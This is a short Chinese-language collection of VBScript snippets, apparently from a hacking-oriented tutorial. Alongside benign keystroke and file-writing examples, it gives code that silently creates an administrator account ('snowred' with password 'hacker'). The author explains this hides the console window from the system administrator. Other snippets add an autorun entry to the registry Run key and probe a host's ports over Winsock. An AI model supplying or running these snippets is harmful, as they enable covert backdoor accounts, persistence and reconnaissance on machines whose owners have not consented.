VBS的使用技术

 vbs对键盘输入的控制
....
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate "暗暗-记事本"
.....
------------------------------------------
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate "暗暗-记事本"
for i=1 to 10
WScript.Sleep (100)
WshShell.SendKeys "^v"
WshShell.SendKeys i
WshShell.SendKeys "%s"
next
-------------------------------------------
查看样品文件
----------------------------------------------------------------------------------------------------------------------------------
vbs脚本对dos命令行的实现：

set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c net user snowred hacker  /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators snowred /add",0)

-----------
为什么要vbs脚本呢？原因很简单，就是不让管理员看见那个跳出来的黑黑的dos窗口
----------------------------------------------------------------------------------------------------------------------------------
vbs实现对注册表的修改：
set regrun=createobject("wscript.shell")
regrun.regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/stop","stop.bat"

格式：
--------------------------
wsh.RegWrite（strName， anyvalue [，strType]）
-----
VBS对文件的操作：
----------------------------------------------------------------------------------------------------------------------------------

Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile("c:/testfile.txt", True)
MyFile.WriteLine("This is a test.")
MyFile.Close

----------------------------------------------------------------------------------------------------------------------------------
VBS对网络的操作：
----------------------------------------------------------------------------------------------------------------------------------


host=inputbox("host/ip:")
port=inputbox("port:")
Set socket=WScript.CreateObject("MSWinsock.Winsock","winsock_")
socket.Protocol=0
socket.RemotePort=port
socket.RemoteHost=host
socket.connect
for a=1 to 30 step 1
WScript.sleep 10
next
msgbox("The "&socket.remoteport&" is closed!")
socket.close
WScript.quit

Sub winsock_connect()
msgbox("The "&socket.remoteport&" is opened!")
socket.close
WScript.quit
end sub